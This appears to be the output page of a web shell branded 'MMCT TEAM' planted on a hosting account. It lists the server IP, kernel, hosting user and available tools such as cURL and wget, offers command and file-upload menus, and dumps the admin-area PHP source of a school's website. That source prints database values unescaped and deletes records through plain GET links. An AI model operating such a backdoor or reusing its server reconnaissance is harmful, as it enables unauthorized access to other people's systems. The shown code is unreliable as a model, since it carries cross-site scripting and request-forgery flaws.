MMCT TEAM
Server IP : 62.72.28.201  /  Your IP : 3.15.34.50
Web Server : LiteSpeed
System : Linux in-mum-web1113.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u249650955 ( 249650955)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u249650955/domains/ladyflorencepublicschool.com/public_html/admin_area/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u249650955/domains/ladyflorencepublicschool.com/public_html/admin_area/view_video_gallery.php
<?php
   if(!isset($_SESSION['user_email'])){
    echo "<script>window.open('login.php?not_admin=You are not an Admin','_self')</script>";
   }
   else{
?>
<table width="100%">
    <tr align="center">
        <td colspan="6"><h2>View All Video Galley</h2></td>
    </tr>
    <tr align="center">
        <th>S.N.</th>
        <th>Image Title</th>
        <th>Image</th>
        <th>Delete</th>
    </tr>
    <?php
    include("includes/db.php");
    $get_pro = "select * from youtube";
    $run_pro = mysqli_query($con, $get_pro);
    $i = 0;
    while($row_pro=mysqli_fetch_array($run_pro)){
        $n_id = $row_pro['id'];
        $g_title = $row_pro['link'];
        $n_pdf = $row_pro['thumbnail'];
        $i++;
    
    ?>
    <tr align="center">
        <th><?php echo $i; ?></th>
        <th><?php echo $g_title; ?></th>
        <th><img src="product_images/<?php echo $n_pdf; ?>" width="60" height="60"></th>
        <th><a href="delete_gallery.php?delete_pro=<?php echo $n_id; ?>">Delete</a></th>
    </tr>
    <?php } ?>
</table>
<?php } ?>

MMCT - 2023